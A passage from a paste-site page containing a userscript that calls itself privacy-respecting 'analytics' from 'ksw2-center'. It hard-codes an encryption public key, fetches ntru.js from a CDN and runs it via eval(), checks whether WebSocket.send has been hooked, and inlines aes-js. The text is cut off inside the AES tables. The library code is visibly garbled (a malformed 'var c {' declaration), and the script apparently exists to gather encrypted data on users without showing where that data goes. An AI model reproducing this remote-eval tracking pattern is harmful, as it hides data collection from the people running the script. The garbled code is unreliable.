Facebook
From e, 1 Month ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 149
  1. // ==UserScript==
  2. // @name         sci.js rewrite v3 (from ksw2-center)
  3. // @namespace    https://ksw2-center.glitch.me/
  4. // @description  Analytics, but done well. Privacy and security, encryption, etc.
  5. // @author       ksw2 developers (not the uploader)
  6. // ==/UserScript==
  7.  
  8. let flag = true;
  9. if ([removed] != window.parent.location) flag = false;
  10.  
  11. let useOldSend = false;
  12. function refreshUSO() {
  13.     useOldSend = !WebSocket.prototype.send.toString().includes("[native code]");
  14. };
  15.  
  16. /**
  17.  * [ksw2-analytics]{@link https://ksw2-center.glitch.me}
  18.  * @privacy-polcy [https://ksw2-center.glitch.me/privacy.txt]
  19.  *
  20.  * @version 1.0.0
  21.  * @author ksw2 developers [https://ksw2-center.glitch.me]
  22.  * @copyright ksw2 developers 2020
  23.  * @license Some parts of this code is licensed under their respective licenses, all else is all rights reserved for ksw2 developers.
  24.  */
  25.  
  26. const E2EE_PUBKEY = new Uint8Array(`1,3,0,6,16,236,218,180,55,104,84,179,58,153,199,13,75,153,147,248,34,99,124,121,251,1,53,55,142,198,19,245,77,40,27,110,198,85,248,116,10,210,68,151,46,141,64,188,70,164,28,28,14,188,179,6,24,205,54,80,232,217,158,199,166,6,157,134,100,194,112,78,112,4,78,75,177,118,184,92,34,3,73,148,254,100,169,199,112,187,224,56,243,195,243,91,107,132,201,173,160,149,84,124,152,74,20,71,99,214,185,94,65,163,101,144,118,30,244,43,241,49,140,129,192,62,174,187,20,3,255,144,204,66,184,86,125,96,107,124,25,105,0,193,26,38,132,225,196,130,33,255,216,87,53,19,88,60,211,219,11,225,21,165,128,235,229,73,3,3,172,105,120,200,108,5,69,178,128,20,120,106,92,117,161,44,247,38,120,147,110,63,159,78,157,233,232,162,45,51,154,233,152,51,192,224,144,88,73,182,13,1,121,163,11,11,84,27,162,26,186,201,203,246,83,77,18,146,74,8,252,241,42,235,70,59,226,88,22,171,231,109,186,69,43,29,231,117,180,226,251,13,245,173,170,92,184,203,162,238,120,246,184,74,144,126,35,5,102,102,68,181,154,247,148,172,148,87,50,51,197,173,100,108,240,195,95,95,145,49,248,191,188,157,13,254,67,45,106,124,200,64,201,30,37,255,179,89,124,75,175,198,42,146,212,213,135,70,121,193,240,81,71,128,151,208,23,202,147,58,91,71,169,243,160,74,198,213,69,252,154,233,202,63,50,109,221,221,37,63,11,183,73,148,17,224,216,184,158,63,182,178,169,221,149,179,3,164,52,205,90,11,249,201,13,237,164,238,19,160,200,221,111,23,184,222,64,128,93,168,151,112,57,41,196,150,116,241,136,47,168,167,59,137,39,6,21,64,30,136,170,19,252,242,141,44,96,149,182,133,213,126,6,207,132,100,66,155,108,173,91,241,123,99,164,26,170,130,98,160,219,195,162,57,27,183,25,23,5,47,223,238,230,92,130,125,61,168,177,252,251,178,250,210,115,175,101,24,212,59,187,110,220,2,28,74,113,233,118,158,43,86,90,185,104,218,1,52,78,138,122,19,78,151,89,211,52,227,171,161,23,208,147,129,196,56,36,27,223,255,162,77,206,81,88,80,55,180,189,150,71,51,8,126,93,226,139,126,8,18,168,7,124,61,77,66,179,103,146,229,119,184,91,22,137,121,157,75,217,139,89,68,29,60,140,112,150,87,153,236,113,113,104,122,143,161,103,151,235,252,176,192,110,117,55,114,184,102,234,250,154,98,174,51,140,172,5,36,184,58,180,5,128,37,32,25,221,108,168,13,72,192,148,138,199,16,71,239,60,18,207,5,211,45,1,86,156,82,1,172,147,236,240,221,173,98,139,42,14,235,147,194,136,239,32,205,6,195,179,245,208,110,96,130,90,87,216,195,150,94,100,19,105,151,175,26,161,198,78,182,228,60,48,131,73,200,103,57,32,115,69,29,9,142,98,52,56,97,113,99,73,36,98,78,211,24,86,29,33,77,78,67,229,8,153,76,225,80,229,223,97,229,74,65,161,181,95,199,163,125,13,124,161,218,117,160,176,172,71,248,214,120,93,203,231,137,4,222,108,116,34,239,124,248,59,102,236,199,183,252,54,221,129,13,111,94,73,14,133,89,248,72,112,46,11,2,34,254,2,46,49,106,108,203,195,214,144,110,77,221,135,138,22,196,175,218,196,91,157,157,119,141,72,66,107,250,26,228,139,158,136,210,214,176,115,197,106,205,176,43,34,254,242,24,8,114,86,231,139,1,100,51,72,70,95,70,133,187,175,125,242,16,92,172,254,118,215,119,195,153,73,46,6,63,104,170,12,3,22,158,219,236,191,99,101,82,8,227,87,78,173,114,236,96,120,65,229,55,127,20,241,157,9,82,201,95,189,122,119,7,172,59,220,215,138,39,184,228,159,35,143,255,181,92,78,230,198,207,45,89,124,229,126,7,129,207,230,54,109,134,98,98,67,211,135,121,222,33,141,171,172,244,108,92,131,216,163,3,24,198,104,128,37,215,35,153,192,210,34,98,201,21,230,179,109,107,84,220,122,203,187,76,170,195,204,156,175,245,79,60,93,247,100,205,18,30,171,132,157,213,141,102,87,74,43,16,219,125,53,26,53,137,83,28,170,225,238,51,72,69,156,196,211,156,8,15,110,133,53,145,7,201,139,116,58,165,93,35,141,231,206,91,169,232,8,120,131,135,33,194,177,16,217,56,58,92,73,202,10,36,185,119,4,80,185,20,104`.split(",").map(e=>Number(e)));
  27. //console.log("Public key:", E2EE_PUBKEY);
  28. //this key allows E2EE, it *has* to be built in for this to work. As long as key integrity works, then there will be guaranteed data security.
  29.  
  30. /**
  31.  * [ntru-js]{@link https://github.com/cyph/ntru.js}
  32.  *
  33.  * @version 3.0.0
  34.  * @author Cyph, Inc [[email protected]]
  35.  * @copyright Cyph, Inc 2020
  36.  * @license Simplified BSD
  37.  */
  38. let loaderXHR;
  39. loaderXHR = new XMLHttpRequest();
  40. loaderXHR.open("GET", [removed].protocol + "//cdn.jsdelivr.net/npm/[email protected]/dist/ntru.min.js");
  41. loaderXHR.onload = (e) => {
  42.     if (!flag) {return};
  43.     eval(e.target.responseText);
  44.     /**
  45.  * [aes-js]{@link https://github.com/ricmoo/aes-js}
  46.  *
  47.  * @version 3.1.2
  48.  * @author Richard Moore [[email protected]]
  49.  * @copyright Richard Moore 2015
  50.  * @license MIT
  51.  */
  52.     /*! MIT License. Copyright 2015-2018 Richard Moore <[email protected]>. See LICENSE.txt. */
  53.     (function(root) {
  54.         "use strict";
  55.  
  56.         function checkInt(value) {
  57.             return (parseInt(value) === value);
  58.         }
  59.  
  60.         function checkInts(arrayish) {
  61.             if (!checkInt(arrayish.length)) { return false; }
  62.  
  63.             for (var i = 0; i < arrayish.length; i++) {
  64.                 if (!checkInt(arrayish[i]) || arrayish[i] < 0 || arrayish[i] > 255) {
  65.                     return false;
  66.                 }
  67.             }
  68.  
  69.             return true;
  70.         }
  71.  
  72.         function coerceArray(arg, copy) {
  73.  
  74.             // ArrayBuffer view
  75.             if (arg.buffer && arg.name === 'Uint8Array') {
  76.  
  77.                 if (copy) {
  78.                     if (arg.slice) {
  79.                         arg = arg.slice();
  80.                     } else {
  81.                         arg = Array.prototype.slice.call(arg);
  82.                     }
  83.                 }
  84.  
  85.                 return arg;
  86.             }
  87.  
  88.             // It's an array; check it is a valid representation of a byte
  89.             if (Array.isArray(arg)) {
  90.                 if (!checkInts(arg)) {
  91.                     throw new Error('Array contains invalid value: ' + arg);
  92.                 }
  93.  
  94.                 return new Uint8Array(arg);
  95.             }
  96.  
  97.             // Something else, but behaves like an array (maybe a Buffer? Arguments?)
  98.             if (checkInt(arg.length) && checkInts(arg)) {
  99.                 return new Uint8Array(arg);
  100.             }
  101.  
  102.             throw new Error('unsupported array-like object');
  103.         }
  104.  
  105.         function createArray(length) {
  106.             return new Uint8Array(length);
  107.         }
  108.  
  109.         function copyArray(sourceArray, targetArray, targetStart, sourceStart, sourceEnd) {
  110.             if (sourceStart != null || sourceEnd != null) {
  111.                 if (sourceArray.slice) {
  112.                     sourceArray = sourceArray.slice(sourceStart, sourceEnd);
  113.                 } else {
  114.                     sourceArray = Array.prototype.slice.call(sourceArray, sourceStart, sourceEnd);
  115.                 }
  116.             }
  117.             targetArray.set(sourceArray, targetStart);
  118.         }
  119.  
  120.  
  121.  
  122.         var convertUtf8 = (function() {
  123.             function toBytes(text) {
  124.                 var result = [], i = 0;
  125.                 text = encodeURI(text);
  126.                 while (i < text.length) {
  127.                     var c = text.charCodeAt(i++);
  128.  
  129.                     // if it is a % sign, encode the following 2 bytes as a hex value
  130.                     if (c === 37) {
  131.                         result.push(parseInt(text.substr(i, 2), 16))
  132.                         i += 2;
  133.  
  134.                         // otherwise, just the actual byte
  135.                     } else {
  136.                         result.push(c)
  137.                     }
  138.                 }
  139.  
  140.                 return coerceArray(result);
  141.             }
  142.  
  143.             function fromBytes(bytes) {
  144.                 var result = [], i = 0;
  145.  
  146.                 while (i < bytes.length) {
  147.                     var c = bytes[i];
  148.  
  149.                     if (c < 128) {
  150.                         result.push(String.fromCharCode(c));
  151.                         i++;
  152.                     } else if (c > 191 && c < 224) {
  153.                         result.push(String.fromCharCode(((c & 0x1f) << 6) | (bytes[i + 1] & 0x3f)));
  154.                         i += 2;
  155.                     } else {
  156.                         result.push(String.fromCharCode(((c & 0x0f) << 12) | ((bytes[i + 1] & 0x3f) << 6) | (bytes[i + 2] & 0x3f)));
  157.                         i += 3;
  158.                     }
  159.                 }
  160.  
  161.                 return result.join('');
  162.             }
  163.  
  164.             return {
  165.                 toBytes: toBytes,
  166.                 fromBytes: fromBytes,
  167.             }
  168.         })();
  169.  
  170.          var c {
  171.             function toBytes(text) {
  172.                 var result = [];
  173.                 for (var i = 0; i < text.length; i += 2) {
  174.                     result.push(parseInt(text.substr(i, 2), 16));
  175.                 }
  176.  
  177.                 return result;
  178.             }
  179.  
  180.             // http://ixti.net/development/javascript/2011/11/11/base64-encodedecode-of-utf8-in-browser-with-js.html
  181.             var Hex = '0123456789abcdef';
  182.  
  183.             function fromBytes(bytes) {
  184.                 var result = [];
  185.                 for (var i = 0; i < bytes.length; i++) {
  186.                     var v = bytes[i];
  187.                     result.push(Hex[(v & 0xf0) >> 4] + Hex[v & 0x0f]);
  188.                 }
  189.                 return result.join('');
  190.             }
  191.  
  192.             return {
  193.                 toBytes: toBytes,
  194.                 fromBytes: fromBytes,
  195.             }
  196.         })();
  197.  
  198.  
  199.         // Number of rounds by keysize
  200.         var numberOfRounds = {16: 10, 24: 12, 32: 14}
  201.  
  202.         // Round constant words
  203.         var rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91];
  204.  
  205.         // S-box and Inverse S-box (S is for Substitution)
  206.         var S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16];
  207.         var Si =[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d];
  208.  
  209.         // Transformations for encryption
  210.         var T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a];
  211.         var T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616];
  212.         var T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 